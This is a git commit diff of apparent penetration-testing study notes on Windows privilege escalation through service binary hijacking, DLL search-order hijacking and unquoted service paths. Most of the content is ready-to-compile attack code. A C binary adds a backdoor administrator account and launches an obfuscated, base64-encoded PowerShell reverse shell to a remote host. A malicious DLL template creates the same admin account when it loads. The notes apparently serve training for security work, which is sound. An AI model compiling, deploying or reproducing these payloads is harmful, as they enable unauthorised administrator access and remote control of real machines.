first commit
This commit is contained in:
@@ -0,0 +1,27 @@
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```powershell
|
||||
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
|
||||
```
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
|
||||
int main ()
|
||||
{
|
||||
int i;
|
||||
|
||||
i = system ("net user dave2 password123! /add");
|
||||
i = system ("net localgroup administrators dave2 /add");
|
||||
i = system ("powershell -ep bypass -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7AHQAcgB5ACAAewAgACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAiAC4AIAB7ACAAJABkAGEAdABhACAAfQAgADIAPgAmADEAIgAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAiACQAXwBgAG4AIgB9ADsAIAAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```sh
|
||||
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
### This setting was implemented by Microsoft due to the high number of DLL hijacking vectors and ensures that DLLs are more difficult to hijack. The following listing shows the standard search order taken from the Microsoft Documentation:^3:1^
|
||||
`1. The directory from which the application loaded.
|
||||
2. The system directory.
|
||||
3. The 16-bit system directory.
|
||||
4. The Windows directory.
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable.`
|
||||
|
||||
Display the PATH environment variable
|
||||
|
||||
|
||||
Dll **template**
|
||||
|
||||
|
||||
|
||||
```powershell
|
||||
$env:path
|
||||
```
|
||||
|
||||
```cpp
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <windows.h>
|
||||
|
||||
BOOL APIENTRY DllMain(
|
||||
HANDLE hModule,// Handle to DLL module
|
||||
DWORD ul_reason_for_call,// Reason for calling function
|
||||
LPVOID lpReserved ) // Reserved
|
||||
{
|
||||
switch ( ul_reason_for_call )
|
||||
{
|
||||
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
|
||||
int i;
|
||||
i = system ("net user dave2 password123! /add");
|
||||
i = system ("net localgroup administrators dave2 /add");
|
||||
break;
|
||||
case DLL_THREAD_ATTACH: // A process is creating a new thread.
|
||||
break;
|
||||
case DLL_THREAD_DETACH: // A thread exits normally.
|
||||
break;
|
||||
case DLL_PROCESS_DETACH: // A process unloads the DLL.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
```sh
|
||||
x86_64-w64-mingw32-gcc dll.c --shared -o myDLL.dll
|
||||
```
|
||||
@@ -0,0 +1,10 @@
|
||||
### Let's show this in an example with the unquoted service binary path **C:\Program Files\My Program\My Service\service.exe**### . When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.
|
||||
`C:\Program.exe
|
||||
C:\Program Files\My.exe
|
||||
C:\Program Files\My Program\My.exe
|
||||
C:\Program Files\My Program\My service\service.exe
|
||||
`*Listing 66 - Example of how Windows will try to locate the correct path of an unquoted service*
|
||||
|
||||
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
|
||||
|
||||
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
|
||||
Reference in New Issue
Block a user